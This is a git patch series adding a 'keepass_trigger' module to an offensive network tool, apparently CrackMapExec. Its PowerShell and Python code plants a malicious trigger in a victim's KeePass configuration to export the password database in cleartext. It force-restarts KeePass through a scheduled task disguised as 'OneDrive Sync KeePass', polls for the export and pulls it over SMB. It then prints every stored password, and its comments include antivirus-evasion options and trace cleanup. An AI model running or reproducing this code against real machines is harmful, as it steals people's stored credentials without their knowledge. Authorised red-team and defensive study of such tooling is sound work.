From 904e0e7f29b21f8bd028a938c3af9ba0671078eb Mon Sep 17 00:00:00 2001 From: JulienBedel Date: Sun, 4 Sep 2022 14:29:41 +0200 Subject: [PATCH 1/6] Add keepass_trigger module --- .../AddKeePassTrigger.ps1 | 45 +++ .../RemoveKeePassTrigger.ps1 | 18 + .../keepass_trigger_module/RestartKeePass.ps1 | 8 + cme/modules/keepass_trigger.py | 358 ++++++++++++++++++ 4 files changed, 429 insertions(+) create mode 100644 cme/data/keepass_trigger_module/AddKeePassTrigger.ps1 create mode 100644 cme/data/keepass_trigger_module/RemoveKeePassTrigger.ps1 create mode 100644 cme/data/keepass_trigger_module/RestartKeePass.ps1 create mode 100644 cme/modules/keepass_trigger.py diff --git a/cme/data/keepass_trigger_module/AddKeePassTrigger.ps1 b/cme/data/keepass_trigger_module/AddKeePassTrigger.ps1 new file mode 100644 index 000000000..74087541f --- /dev/null +++ b/cme/data/keepass_trigger_module/AddKeePassTrigger.ps1 @@ -0,0 +1,45 @@ +$ExportPath = "REPLACE_ME_ExportPath" +$ExportName = "REPLACE_ME_ExportName" +$TriggerName = "REPLACE_ME_TriggerName" +$KeePassXMLPath = "REPLACE_ME_KeePassXMLPath" +$TriggerXML = [xml] @" + + $([Convert]::ToBase64String([System.GUID]::NewGuid().ToByteArray())) + $TriggerName + true + + + bES7XfGLTA2IzmXm6a0pig== + + 1 + False + + + + + + + D5prW87VRr65NO2xP5RIIg== + + $ExportPath\$ExportName + KeePass XML (2.x) + + + + + + +"@ +if($KeePassXMLPath -and ($KeePassXMLPath -match '.\.xml$') -and (Test-Path -Path $KeePassXMLPath) ) { + $KeePassXMLPath = Resolve-Path -Path $KeePassXMLPath + $KeePassXML = [xml](Get-Content -Path $KeePassXMLPath) + if ($KeePassXML.Configuration.Application.TriggerSystem.Triggers -is [String]) { + $Triggers = $KeePassXML.CreateElement('Triggers') + $Null = $Triggers.AppendChild($KeePassXML.ImportNode($TriggerXML.Trigger, $True)) + $Null = $KeePassXML.Configuration.Application.TriggerSystem.ReplaceChild($Triggers, $KeePassXML.Configuration.Application.TriggerSystem.SelectSingleNode('Triggers')) + } + else { + $Null = $KeePassXML.Configuration.Application.TriggerSystem.Triggers.AppendChild($KeePassXML.ImportNode($TriggerXML.Trigger, $True)) + } + $KeePassXML.Save($KeePassXMLPath) +} \ No newline at end of file diff --git a/cme/data/keepass_trigger_module/RemoveKeePassTrigger.ps1 b/cme/data/keepass_trigger_module/RemoveKeePassTrigger.ps1 new file mode 100644 index 000000000..8bc0aab6f --- /dev/null +++ b/cme/data/keepass_trigger_module/RemoveKeePassTrigger.ps1 @@ -0,0 +1,18 @@ +$KeePassXMLPath = "REPLACE_ME_KeePassXMLPath" +$TriggerName = "REPLACE_ME_TriggerName" +if($KeePassXMLPath -and ($KeePassXMLPath -match '.\.xml$') -and (Test-Path -Path $KeePassXMLPath) ) { + $KeePassXMLPath = Resolve-Path -Path $KeePassXMLPath + $KeePassXML = [xml](Get-Content -Path $KeePassXMLPath) + $RandomGUID = [System.GUID]::NewGuid().ToByteArray() + if ($KeePassXML.Configuration.Application.TriggerSystem.Triggers -isnot [String]) { + $Children = $KeePassXML.Configuration.Application.TriggerSystem.Triggers | ForEach-Object {$_.Trigger} | Where-Object {$_.Name -like $TriggerName} + ForEach($Child in $Children) { + $KeePassXML.Configuration.Application.TriggerSystem.Triggers.RemoveChild($Child) + } + } + try { + $KeePassXML.Save($KeePassXMLPath) + } + catch { + } +} \ No newline at end of file diff --git a/cme/data/keepass_trigger_module/RestartKeePass.ps1 b/cme/data/keepass_trigger_module/RestartKeePass.ps1 new file mode 100644 index 000000000..c48483fe8 --- /dev/null +++ b/cme/data/keepass_trigger_module/RestartKeePass.ps1 @@ -0,0 +1,8 @@ +$KeePassUser = "REPLACE_ME_KeePassUser" +$KeePassBinaryPath = "REPLACE_ME_KeePassBinaryPath" +$DummyServiceName = "REPLACE_ME_DummyServiceName" +schtasks /create /tn "$DummyServiceName" /tr "$KeePassBinaryPath" /ru $KeePassUser /it /sc ONLOGON +taskkill /F /T /IM keepass.exe /FI "USERNAME eq $KeePassUser" +schtasks /run /tn "$DummyServiceName" +Start-Sleep -s 3 +schtasks /delete /tn "$DummyServiceName" /F \ No newline at end of file diff --git a/cme/modules/keepass_trigger.py b/cme/modules/keepass_trigger.py new file mode 100644 index 000000000..9802e171f --- /dev/null +++ b/cme/modules/keepass_trigger.py @@ -0,0 +1,358 @@ +import csv +import sys +import time +from base64 import b64encode +from io import BytesIO, StringIO +from xml.etree import ElementTree +from cme.helpers.powershell import get_ps_script + + +class CMEModule: + """ + Make use of KeePass' trigger system to export the database in cleartext + References: https://keepass.info/help/v2/triggers.html + https://web.archive.org/web/20211017083926/http://www.harmj0y.net:80/blog/redteaming/keethief-a-case-study-in-attacking-keepass-part-2/ + + Module by @d3lb3, inspired by @harmj0y work + """ + + name = 'keepass_trigger' + description = "Set up a malicious KeePass trigger to export the database in cleartext." + supported_protocols = ['smb'] + opsec_safe = True # while the module only executes legit powershell commands on the target (search and edit files) + # some EDR like Trend Micro flag base64-encoded powershell as malicious + # the option PSH_EXEC_METHOD can be used to avoid such execution, and will drop scripts on the target + multiple_hosts = False + + def __init__(self): + # module options + self.action = None + self.keepass_config_path = None + self.keepass_user = None + self.export_name = 'export.xml' + self.export_path = 'C:\\Users\\Public' + self.powershell_exec_method = 'PS1' + + # additionnal parameters + self.share = 'C$' + self.remote_temp_script_path = 'C:\\Windows\\Temp\\temp.ps1' + self.keepass_binary_path = 'C:\\Program Files\\KeePass Password Safe 2\\KeePass.exe' + self.local_export_path = '/tmp' + self.trigger_name = 'export_database' + self.poll_frequency_seconds = 5 + self.dummy_service_name = 'OneDrive Sync KeePass' + + with open(get_ps_script('keepass_trigger_module/RemoveKeePassTrigger.ps1'), 'r') as remove_trigger_script_file: + self.remove_trigger_script_str = remove_trigger_script_file.read() + + with open(get_ps_script('keepass_trigger_module/AddKeePassTrigger.ps1'), 'r') as add_trigger_script_file: + self.add_trigger_script_str = add_trigger_script_file.read() + + with open(get_ps_script('keepass_trigger_module/RestartKeePass.ps1'), 'r') as restart_keepass_script_file: + self.restart_keepass_script_str = restart_keepass_script_file.read() + + def options(self, context, module_options): + """ + ACTION (mandatory) Performs one of the following actions, specified by the user: + ADD insert a new malicious trigger into KEEPASS_CONFIG_PATH's specified file + CHECK check if a malicious trigger is currently set in KEEPASS_CONFIG_PATH's specified file + RESTART restart KeePass using a Windows service (used to force trigger reload), if multiple KeePass process are running, rely on USER option + POLL search for EXPORT_NAME file in EXPORT_PATH folder (until found, or manually exited by the user) + CLEAN remove malicious trigger from KEEPASS_CONFIG_PATH as well as database export files from EXPORT_PATH + ALL performs ADD, CHECK, RESTART, POLL, CLEAN actions one after the other + + KEEPASS_CONFIG_PATH Path of the remote KeePass configuration file where to add a malicious trigger (used by ADD, CHECK and CLEAN actions) + USER Targeted user running KeePass, used to restart the appropriate process (used by RESTART action) + + EXPORT_NAME Name fo the database export file, default: export.xml + EXPORT_PATH Path where to export the KeePass database in cleartext, default: C:\\Users\\Public, %APPDATA% works well too for user permissions + + PSH_EXEC_METHOD Powershell execution method, may avoid detections depending on the AV/EDR in use (while no 'malicious' command is executed..): + ENCODE run scripts through encoded oneliners + PS1 run scripts through a file dropped in C:\\Windows\\Temp (default) + + Not all variables used by the module are available as options (ex: trigger name, temp folder path, etc.) but they can still be easily edited in the module __init__ code if needed + """ + + if 'ACTION' in module_options: + if module_options['ACTION'] not in ['ADD', 'CHECK', 'RESTART', 'SINGLE_POLL', 'POLL', 'CLEAN', 'ALL']: + context.log.error('Unrecognized action, use --options to list available parameters') + exit(1) + else: + self.action = module_options['ACTION'] + else: + context.log.error('Missing ACTION option, use --options to list available parameters') + exit(1) + + if 'KEEPASS_CONFIG_PATH' in module_options: + self.keepass_config_path = module_options['KEEPASS_CONFIG_PATH'] + + if 'USER' in module_options: + self.keepass_user = module_options['USER'] + + if 'EXPORT_NAME' in module_options: + self.export_name = module_options['EXPORT_NAME'] + + if 'EXPORT_PATH' in module_options: + self.export_path = module_options['EXPORT_PATH'] + + if 'PSH_EXEC_METHOD' in module_options: + if module_options['PSH_EXEC_METHOD'] not in ['ENCODE', 'PS1']: + context.log.error('Unrecognized powershell execution method, use --options to list available parameters') + exit(1) + else: + self.powershell_exec_method = module_options['PSH_EXEC_METHOD'] + + def on_admin_login(self, context, connection): + + if self.action == 'ADD': + self.add_trigger(context, connection) + elif self.action == 'CHECK': + self.check_trigger_added(context, connection) + elif self.action == 'RESTART': + self.restart(context, connection) + elif self.action == 'POLL': + self.poll(context, connection) + elif self.action == 'CLEAN': + self.clean(context, connection) + elif self.action == 'ALL': + self.all_in_one(context, connection) + + def add_trigger(self, context, connection): + """Add a malicious trigger to a remote KeePass config file using the powershell script AddKeePassTrigger.ps1""" + + # check if the specified KeePass configuration file exists + if self.trigger_added(context, connection): + context.log.info('The specified configuration file already contains a trigger called "{}", skipping'.format(self.keepass_config_path, self.trigger_name)) + return + + context.log.info('Adding trigger "{}" to "{}"'.format(self.trigger_name, self.keepass_config_path)) + + # prepare the trigger addition script based on user-specified parameters (e.g: trigger name, etc) + # see data/keepass_trigger_module/AddKeePassTrigger.ps1 for the full script + self.add_trigger_script_str = self.add_trigger_script_str.replace('REPLACE_ME_ExportPath', self.export_path) + self.add_trigger_script_str = self.add_trigger_script_str.replace('REPLACE_ME_ExportName', self.export_name) + self.add_trigger_script_str = self.add_trigger_script_str.replace('REPLACE_ME_TriggerName', self.trigger_name) + self.add_trigger_script_str = self.add_trigger_script_str.replace('REPLACE_ME_KeePassXMLPath', self.keepass_config_path) + + # add the malicious trigger to the remote KeePass configuration file + if self.powershell_exec_method == 'ENCODE': + add_trigger_script_b64 = b64encode(self.add_trigger_script_str.encode('UTF-16LE')).decode('utf-8') + add_trigger_script_cmd = 'powershell.exe -e {}'.format(add_trigger_script_b64) + connection.execute(add_trigger_script_cmd) + time.sleep(2) # as I noticed some delay may happen with the encoded powershell command execution + elif self.powershell_exec_method == 'PS1': + try: + self.put_file_execute_delete(context, connection, self.add_trigger_script_str) + except Exception as e: + context.log.error('Error while adding malicious trigger to file: {}'.format(e)) + sys.exit(1) + + # checks if the malicious trigger was effectively added to the specified KeePass configuration file + if self.trigger_added(context, connection): + context.log.success('Malicious trigger successfully added, you can now wait for KeePass reload and poll the exported files'.format(self.trigger_name, self.keepass_config_path)) + else: + context.log.error('Unknown error when adding malicious trigger to file') + sys.exit(1) + + def check_trigger_added(self, context, connection): + """check if the trigger is added to the config file XML tree""" + + if self.trigger_added(context, connection): + context.log.info('Malicious trigger "{}" found in "{}"'.format(self.trigger_name, self.keepass_config_path)) + else: + context.log.info('No trigger "{}" found in "{}"'.format(self.trigger_name, self.keepass_config_path)) + + def restart(self, context, connection): + """Force the restart of KeePass process using a Windows service defined using the powershell script RestartKeePass.ps1 + If multiple process belonging to different users are running simultaneously, relies on the USER option to choose which one to restart""" + + # search for keepass processes + search_keepass_process_command_str = 'powershell.exe "Get-Process keepass* -IncludeUserName | Select-Object -Property Id,UserName,ProcessName | ConvertTo-CSV -NoTypeInformation"' + search_keepass_process_output_csv = connection.execute(search_keepass_process_command_str, True) + csv_reader = csv.reader(search_keepass_process_output_csv.split('\n'), delimiter=',') # we return the powershell command as a CSV for easier column parsing + next(csv_reader) # to skip the header line + keepass_process_list = list(csv_reader) + # check if multiple processes belonging to different users are running (in order to choose which one to restart) + keepass_users = [] + for process in keepass_process_list: + keepass_users.append(process[1]) + if len(keepass_users) == 0: + context.log.error('No running KeePass process found, aborting restart') + return + elif len(keepass_users) == 1: # if there is only 1 KeePass process running + # if KEEPASS_USER option is specified then we check if the user matches + if self.keepass_user and (keepass_users[0] != self.keepass_user and keepass_users[0].split('\\')[1] != self.keepass_user): + context.log.error('Specified user {} does not match any KeePass process owner, aborting restart'.format(self.keepass_user)) + return + else: + self.keepass_user = keepass_users[0] + elif len(keepass_users) > 1 and self.keepass_user: + found_user = False # we search through every KeePass process owner for the specified user + for user in keepass_users: + if user == self.keepass_user or user.split('\\')[1] == self.keepass_user: + self.keepass_user = keepass_users[0] + found_user = True + if not found_user: + context.log.error('Specified user {} does not match any KeePass process owner, aborting restart'.format(self.keepass_user)) + return + else: + context.log.error('Multiple KeePass processes were found, please specify parameter USER to target one') + return + + context.log.info("Restarting {}'s KeePass process".format(keepass_users[0])) + + # prepare the restarting script based on user-specified parameters (e.g: keepass user, etc) + # see data/keepass_trigger_module/RestartKeePass.ps1 + self.restart_keepass_script_str = self.restart_keepass_script_str.replace('REPLACE_ME_KeePassUser', self.keepass_user) + self.restart_keepass_script_str = self.restart_keepass_script_str.replace('REPLACE_ME_KeePassBinaryPath', self.keepass_binary_path) + self.restart_keepass_script_str = self.restart_keepass_script_str.replace('REPLACE_ME_DummyServiceName', self.dummy_service_name) + + # actually performs the restart on the remote target + if self.powershell_exec_method == 'ENCODE': + restart_keepass_script_b64 = b64encode(self.restart_keepass_script_str.encode('UTF-16LE')).decode('utf-8') + restart_keepass_script_cmd = 'powershell.exe -e {}'.format(restart_keepass_script_b64) + connection.execute(restart_keepass_script_cmd) + elif self.powershell_exec_method == 'PS1': + try: + self.put_file_execute_delete(context, connection, self.restart_keepass_script_str) + except Exception as e: + context.log.error('Error while restarting KeePass: {}'.format(e)) + return + + def poll(self, context, connection): + """Search for the cleartext database export file in the specified export folder (until found, or manually exited by the user)""" + found = False + context.log.info('Polling for database export every {} seconds, press CTRL+C to abort'.format(self.poll_frequency_seconds)) + # if the specified path is %APPDATA%, we need to check in every user's folder + if self.export_path == '%APPDATA%' or self.export_path == '%appdata%': + poll_export_command_str = 'powershell.exe "Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output (\'C:\\Users\\\'+$_.Name+\'\\AppData\\Roaming\\{}\')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}"'.format(self.export_name) + else: + export_full_path = "\'{}\\{}\'".format(self.export_path, self.export_name) + poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(export_full_path, export_full_path) + + # we poll every X seconds until the export path is found on the remote machine + while not found: + poll_exports_command_output = connection.execute(poll_export_command_str, True) + if self.export_name not in poll_exports_command_output: + print('.', end='', flush=True) + time.sleep(self.poll_frequency_seconds) + continue + print('') + + # once a database is found, downloads it to the attackers machine + context.log.success('Found database export !') + for count, export_path in enumerate(poll_exports_command_output.split('\r\n')): # in case multiple exports found (may happen if several users exported the database to their APPDATA) + try: + buffer = BytesIO() + connection.conn.getFile(self.share, export_path.split(":")[1], buffer.write) + + # if multiple exports found, add a number at the end of local path to prevent override + if count > 0: + local_full_path = self.local_export_path + '/' + self.export_name.split('.')[0] + '_' + str(count) + '.' + self.export_name.split('.')[1] + else: + local_full_path = self.local_export_path + '/' + self.export_name + + # downloads the exported database + with open(local_full_path, "wb") as f: + f.write(buffer.getbuffer()) + remove_export_command_str = 'powershell.exe Remove-Item {}'.format(export_path) + connection.execute(remove_export_command_str, True) + context.log.success('Moved remote "{}" to local "{}"'.format(export_path, local_full_path)) + found = True + except Exception as e: + context.log.error("Error while polling export files, exiting : {}".format(e)) + + def clean(self, context, connection): + """Checks for database export + malicious trigger on the remote host, removes everything""" + # if the specified path is %APPDATA%, we need to check in every user's folder + if self.export_path == '%APPDATA%' or self.export_path == '%appdata%': + poll_export_command_str = 'powershell.exe "Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output (\'C:\\Users\\\'+$_.Name+\'\\AppData\\Roaming\\{}\')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}"'.format(self.export_name) + else: + export_full_path = "\'{}\\{}\'".format(self.export_path, self.export_name) + poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(export_full_path, export_full_path) + poll_export_command_output = connection.execute(poll_export_command_str, True) + + # deletes every export found on the remote machine + if self.export_name in poll_export_command_output: + for export_path in poll_export_command_output.split('\r\n'): # in case multiple exports found (may happen if several users exported the database to their APPDATA) + context.log.info('Database export found in "{}", removing'.format(export_path)) + remove_export_command_str = 'powershell.exe Remove-Item {}'.format(export_path) + connection.execute(remove_export_command_str, True) + else: + context.log.info('No export found in {}'.format(self.export_path)) + + # if the malicious trigger was not self-deleted, deletes it + if self.trigger_added(context, connection): + + # prepare the trigger deletion script based on user-specified parameters (e.g: trigger name, etc) + # see data/keepass_trigger_module/RemoveKeePassTrigger.ps1 + self.remove_trigger_script_str = self.remove_trigger_script_str.replace('REPLACE_ME_KeePassXMLPath', self.keepass_config_path) + self.remove_trigger_script_str = self.remove_trigger_script_str.replace('REPLACE_ME_TriggerName', self.trigger_name) + + # actually performs trigger deletion + if self.powershell_exec_method == 'ENCODE': + remove_trigger_script_b64 = b64encode(self.remove_trigger_script_str.encode('UTF-16LE')).decode('utf-8') + remove_trigger_script_command_str = 'powershell.exe -e {}'.format(remove_trigger_script_b64) + connection.execute(remove_trigger_script_command_str, True) + elif self.powershell_exec_method == 'PS1': + try: + self.put_file_execute_delete(context, connection, self.remove_trigger_script_str) + except Exception as e: + context.log.error('Error while deleting trigger, exiting: {}'.format(e)) + sys.exit(1) + + # check if the specified KeePass configuration file does not contain the malicious trigger anymore + if self.trigger_added(context, connection): + context.log.error('Unknown error while removing trigger "{}", exiting'.format(self.trigger_name)) + else: + context.log.success('Trigger "{}" successfully removed from KeePass configuration file'.format(self.trigger_name)) + else: + context.log.success('No trigger "{}" found in "{}"'.format(self.trigger_name, self.keepass_config_path)) + + def all_in_one(self, context, connection): + """Performs ADD, RESTART, POLL and CLEAN actions one after the other""" + print('') + self.add_trigger(context, connection) + print('') + self.restart(context, connection) + self.poll(context, connection) + print('') + context.log.info('Cleaning everything..') + self.clean(context, connection) + + def trigger_added(self, context, connection): + """check if the trigger is added to the config file XML tree (returns True/False)""" + # check if the specified KeePass configuration file exists + if not self.keepass_config_path: + context.log.error('No KeePass configuration file specified, exiting') + sys.exit(1) + + try: + buffer = BytesIO() + connection.conn.getFile(self.share, self.keepass_config_path.split(":")[1], buffer.write) + except Exception as e: + context.log.error('Error while getting file "{}", exiting: {}'.format(self.keepass_config_path, e)) + sys.exit(1) + + try: + keepass_config_xml_root = ElementTree.fromstring(buffer.getvalue()) + except Exception as e: + context.log.error('Error while parsing file "{}", exiting: {}'.format(self.keepass_config_path, e)) + sys.exit(1) + + # check if the specified KeePass configuration file does not already contain the malicious trigger + for trigger in keepass_config_xml_root.findall(".//Application/TriggerSystem/Triggers/Trigger"): + if trigger.find("Name").text == self.trigger_name: + return True + + return False + + def put_file_execute_delete(self, context, connection, psh_script_str): + """Helper to upload script to a temporary folder, run then deletes it""" + script_str_io = StringIO(psh_script_str) + connection.conn.putFile(self.share, self.remote_temp_script_path.split(":")[1], script_str_io.read) + script_execute_cmd = 'powershell.exe -ep Bypass -F {}'.format(self.remote_temp_script_path) + connection.execute(script_execute_cmd, True) + remove_remote_temp_script_cmd = 'powershell.exe "Remove-Item \"{}\""'.format(self.remote_temp_script_path) + connection.execute(remove_remote_temp_script_cmd) From be5883a6a19218729712a808b8362caf9bd1ca6f Mon Sep 17 00:00:00 2001 From: JulienBedel Date: Sun, 4 Sep 2022 15:13:43 +0200 Subject: [PATCH 2/6] Fix typo in log messages --- cme/modules/keepass_trigger.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cme/modules/keepass_trigger.py b/cme/modules/keepass_trigger.py index 9802e171f..aa08f621a 100644 --- a/cme/modules/keepass_trigger.py +++ b/cme/modules/keepass_trigger.py @@ -306,9 +306,9 @@ def clean(self, context, connection): if self.trigger_added(context, connection): context.log.error('Unknown error while removing trigger "{}", exiting'.format(self.trigger_name)) else: - context.log.success('Trigger "{}" successfully removed from KeePass configuration file'.format(self.trigger_name)) + context.log.info('Found trigger "{}" in configuration file, removing'.format(self.trigger_name)) else: - context.log.success('No trigger "{}" found in "{}"'.format(self.trigger_name, self.keepass_config_path)) + context.log.success('No trigger "{}" found in "{}", skipping'.format(self.trigger_name, self.keepass_config_path)) def all_in_one(self, context, connection): """Performs ADD, RESTART, POLL and CLEAN actions one after the other""" From 365abf8fb0be8674bec43297430e0f450490a643 Mon Sep 17 00:00:00 2001 From: mpgn Date: Mon, 10 Oct 2022 05:32:47 -0400 Subject: [PATCH 3/6] Update keepass module to set opsec safe to false --- cme/modules/keepass_trigger.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/cme/modules/keepass_trigger.py b/cme/modules/keepass_trigger.py index aa08f621a..581ff0d47 100644 --- a/cme/modules/keepass_trigger.py +++ b/cme/modules/keepass_trigger.py @@ -1,6 +1,6 @@ -import csv import sys -import time +from time import sleep +from csv import reader from base64 import b64encode from io import BytesIO, StringIO from xml.etree import ElementTree @@ -19,7 +19,7 @@ class CMEModule: name = 'keepass_trigger' description = "Set up a malicious KeePass trigger to export the database in cleartext." supported_protocols = ['smb'] - opsec_safe = True # while the module only executes legit powershell commands on the target (search and edit files) + opsec_safe = False # while the module only executes legit powershell commands on the target (search and edit files) # some EDR like Trend Micro flag base64-encoded powershell as malicious # the option PSH_EXEC_METHOD can be used to avoid such execution, and will drop scripts on the target multiple_hosts = False @@ -140,7 +140,7 @@ def add_trigger(self, context, connection): add_trigger_script_b64 = b64encode(self.add_trigger_script_str.encode('UTF-16LE')).decode('utf-8') add_trigger_script_cmd = 'powershell.exe -e {}'.format(add_trigger_script_b64) connection.execute(add_trigger_script_cmd) - time.sleep(2) # as I noticed some delay may happen with the encoded powershell command execution + sleep(2) # as I noticed some delay may happen with the encoded powershell command execution elif self.powershell_exec_method == 'PS1': try: self.put_file_execute_delete(context, connection, self.add_trigger_script_str) @@ -170,7 +170,7 @@ def restart(self, context, connection): # search for keepass processes search_keepass_process_command_str = 'powershell.exe "Get-Process keepass* -IncludeUserName | Select-Object -Property Id,UserName,ProcessName | ConvertTo-CSV -NoTypeInformation"' search_keepass_process_output_csv = connection.execute(search_keepass_process_command_str, True) - csv_reader = csv.reader(search_keepass_process_output_csv.split('\n'), delimiter=',') # we return the powershell command as a CSV for easier column parsing + csv_reader = reader(search_keepass_process_output_csv.split('\n'), delimiter=',') # we return the powershell command as a CSV for easier column parsing next(csv_reader) # to skip the header line keepass_process_list = list(csv_reader) # check if multiple processes belonging to different users are running (in order to choose which one to restart) @@ -236,7 +236,7 @@ def poll(self, context, connection): poll_exports_command_output = connection.execute(poll_export_command_str, True) if self.export_name not in poll_exports_command_output: print('.', end='', flush=True) - time.sleep(self.poll_frequency_seconds) + sleep(self.poll_frequency_seconds) continue print('') From 521b55daeedfc56598eabbd0ab03b5f757bbf6a8 Mon Sep 17 00:00:00 2001 From: mpgn Date: Mon, 10 Oct 2022 05:36:52 -0400 Subject: [PATCH 4/6] Update message for polling --- cme/modules/keepass_trigger.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cme/modules/keepass_trigger.py b/cme/modules/keepass_trigger.py index 581ff0d47..4efb14263 100644 --- a/cme/modules/keepass_trigger.py +++ b/cme/modules/keepass_trigger.py @@ -223,7 +223,7 @@ def restart(self, context, connection): def poll(self, context, connection): """Search for the cleartext database export file in the specified export folder (until found, or manually exited by the user)""" found = False - context.log.info('Polling for database export every {} seconds, press CTRL+C to abort'.format(self.poll_frequency_seconds)) + context.log.info('Polling for database export every {} seconds, please be patient, we need to wait for the target to enter his master password ! Press CTRL+C to abort and use clean option to cleanup everything'.format(self.poll_frequency_seconds)) # if the specified path is %APPDATA%, we need to check in every user's folder if self.export_path == '%APPDATA%' or self.export_path == '%appdata%': poll_export_command_str = 'powershell.exe "Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output (\'C:\\Users\\\'+$_.Name+\'\\AppData\\Roaming\\{}\')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}"'.format(self.export_name) From 927a82a55466ff8083d4dc10212fe1ad098944f7 Mon Sep 17 00:00:00 2001 From: mpgn Date: Mon, 10 Oct 2022 08:36:27 -0400 Subject: [PATCH 5/6] parse keepass config file and extract password --- cme/modules/keepass_trigger.py | 49 ++++++++++++++++++++++++++++++---- 1 file changed, 44 insertions(+), 5 deletions(-) diff --git a/cme/modules/keepass_trigger.py b/cme/modules/keepass_trigger.py index 4efb14263..b59a7b7e5 100644 --- a/cme/modules/keepass_trigger.py +++ b/cme/modules/keepass_trigger.py @@ -1,4 +1,6 @@ import sys +import json +from xmltodict import parse from time import sleep from csv import reader from base64 import b64encode @@ -223,7 +225,8 @@ def restart(self, context, connection): def poll(self, context, connection): """Search for the cleartext database export file in the specified export folder (until found, or manually exited by the user)""" found = False - context.log.info('Polling for database export every {} seconds, please be patient, we need to wait for the target to enter his master password ! Press CTRL+C to abort and use clean option to cleanup everything'.format(self.poll_frequency_seconds)) + context.log.info('Polling for database export every {} seconds, please be patient'.format(self.poll_frequency_seconds)) + context.log.info('we need to wait for the target to enter his master password ! Press CTRL+C to abort and use clean option to cleanup everything') # if the specified path is %APPDATA%, we need to check in every user's folder if self.export_path == '%APPDATA%' or self.export_path == '%appdata%': poll_export_command_str = 'powershell.exe "Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output (\'C:\\Users\\\'+$_.Name+\'\\AppData\\Roaming\\{}\')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}"'.format(self.export_name) @@ -280,7 +283,7 @@ def clean(self, context, connection): remove_export_command_str = 'powershell.exe Remove-Item {}'.format(export_path) connection.execute(remove_export_command_str, True) else: - context.log.info('No export found in {}'.format(self.export_path)) + context.log.info('No export found in {} , everything is cleaned'.format(self.export_path)) # if the malicious trigger was not self-deleted, deletes it if self.trigger_added(context, connection): @@ -311,15 +314,19 @@ def clean(self, context, connection): context.log.success('No trigger "{}" found in "{}", skipping'.format(self.trigger_name, self.keepass_config_path)) def all_in_one(self, context, connection): + """Performs ADD, RESTART, POLL and CLEAN actions one after the other""" - print('') + context.log.highlight("") self.add_trigger(context, connection) - print('') + context.log.highlight("") self.restart(context, connection) self.poll(context, connection) - print('') + context.log.highlight("") context.log.info('Cleaning everything..') self.clean(context, connection) + context.log.highlight("") + context.log.info('Extracting password..') + self.extract_password(context) def trigger_added(self, context, connection): """check if the trigger is added to the config file XML tree (returns True/False)""" @@ -356,3 +363,35 @@ def put_file_execute_delete(self, context, connection, psh_script_str): connection.execute(script_execute_cmd, True) remove_remote_temp_script_cmd = 'powershell.exe "Remove-Item \"{}\""'.format(self.remote_temp_script_path) connection.execute(remove_remote_temp_script_cmd) + + def extract_password(self, context): + xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name) + xml_tree = ElementTree.parse(xml_doc_path) + root = xml_tree.getroot() + to_string = ElementTree.tostring(root, encoding='UTF-8', method='xml') + xml_to_dict = parse(to_string) + dump = json.dumps(xml_to_dict) + obj = json.loads(dump) + + if len(obj['KeePassFile']['Root']['Group']['Entry']): + for obj2 in obj['KeePassFile']['Root']['Group']['Entry']: + for password in obj2['String']: + if password['Key'] == "Password": + context.log.highlight(str(password['Key']) + " : " + str(password['Value']['#text'])) + else: + context.log.highlight(str(password['Key']) + " : " + str(password['Value'])) + context.log.highlight("") + if len(obj['KeePassFile']['Root']['Group']['Group']): + for obj2 in obj['KeePassFile']['Root']['Group']['Group']: + try: + for obj3 in obj2['Entry']: + for password in obj3['String']: + if password['Key'] == "Password": + context.log.highlight(str(password['Key']) + " : " + str(password['Value']['#text'])) + else: + context.log.highlight(str(password['Key']) + " : " + str(password['Value'])) + context.log.highlight("") + except KeyError: + pass + + From 4f595fbbc729670839ebf61490952c98ab5d8d3a Mon Sep 17 00:00:00 2001 From: mpgn Date: Thu, 13 Oct 2022 08:41:58 -0400 Subject: [PATCH 6/6] Restart keepass to load cleaned config --- cme/modules/keepass_trigger.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/cme/modules/keepass_trigger.py b/cme/modules/keepass_trigger.py index b59a7b7e5..a4d1a32a3 100644 --- a/cme/modules/keepass_trigger.py +++ b/cme/modules/keepass_trigger.py @@ -117,6 +117,7 @@ def on_admin_login(self, context, connection): self.poll(context, connection) elif self.action == 'CLEAN': self.clean(context, connection) + self.restart(context, connection) elif self.action == 'ALL': self.all_in_one(context, connection) @@ -324,6 +325,7 @@ def all_in_one(self, context, connection): context.log.highlight("") context.log.info('Cleaning everything..') self.clean(context, connection) + self.restart(context, connection) context.log.highlight("") context.log.info('Extracting password..') self.extract_password(context)